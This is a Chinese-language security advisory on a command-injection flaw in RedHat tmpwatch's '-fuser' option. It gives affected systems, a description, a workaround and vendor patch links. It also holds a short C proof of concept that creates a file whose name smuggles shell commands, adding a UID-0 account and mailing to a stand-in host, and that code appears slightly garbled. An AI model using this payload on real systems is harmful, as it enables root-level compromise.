RedHat tmpwatch 执行任意命令漏洞
受影响系统:
RedHat Linux 7.0
RedHat Linux 6.2
不受影响系统:
Connectiva Linux 5.1
Connectiva Linux 5.0
Connectiva Linux 4.x
S.u.S.E. Linux 7.0
S.u.S.E. Linux 6.x
S.u.S.E. Linux 5.x
S.u.S.E. Linux 4.x
描述:
在 Unix 系统中,tmpwatch 工具用来自动删除临时文件,这个工具有一个
漏洞。tmpwatch 工具参数中有一个可选项,叫 ‘-fuser’,这个选项将调
用fuser程序来进行处理,在调用库函数system() 时,tmpwatch对参数的
处理不恰当。如果攻击者创建一个文件,用带有shell元字符的字符串构造
这个文件的文件名,然后当其他用户(通常是root)使用’ -fuser’选项来
运行时,就可能以该用户的身份执行任意命令。
<* 来源:X-Force (xforce@iss.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性, 仅供安全研究与教学之用。使用者风险自负!
#include
int main()
{
FILE *f;
char filename[100] =
“;useradd -u 0 -g 0 haks0r;mail haks0r@somehost.com< p>
if((f = fopen(filename, “a”)) == 0) {
perror(“Could not create file”);
exit(1);
}
close(f);
}
建议: 临时解决办法:
NSFOCUS建议您在没有升级版本或打补丁消除漏洞前,暂时不用 tmpwatch
的 ‘-fuser’ 选项。
厂商补丁:
[ RedHat ] :
Red Hat 已经在下面的 rpm 发行包中消除了这个漏洞:
对 Red Hat Linux 6.2:
alpha:
ftp://updates.redhat.com/6.2/alpha/tmpwatch-2.6.2-1.6.2.alpha.rpm
sparc:
ftp://updates.redhat.com/6.2/sparc/tmpwatch-2.6.2-1.6.2.sparc.rpm
i386:
ftp://updates.redhat.com/6.2/i386/tmpwatch-2.6.2-1.6.2.i386.rpm
sources:
ftp://updates.redhat.com/6.2/SRPMS/tmpwatch-2.6.2-1.6.2.src.rpm
对 Red Hat Linux 7.0:
i386:
ftp://updates.redhat.com/7.0/i386/tmpwatch-2.6.2-1.7.i386.rpm
sources:
ftp://updates.redhat.com/7.0/SRPMS/tmpwatch-2.6.2-1.7.src.rpm
[ Immunix ]:
Immunix OS 6.2 (StackGuarded versions of the RedHat packages.)
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/tmpwatch-2.6.2-1.6.2_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/tmpwatch-2.6.2-1.6.2_StackGuard.src.rpm
[ Trustix ]:
所有的 TSL 用户应该升级到:
http://www.trustix.net/download/Trustix/updates/1.1/RPMS/tmpwatch-2.6.2-1tr.i586.rpm
(MD5sum: 3200b3812bfe6e87f326e240fed0686a)

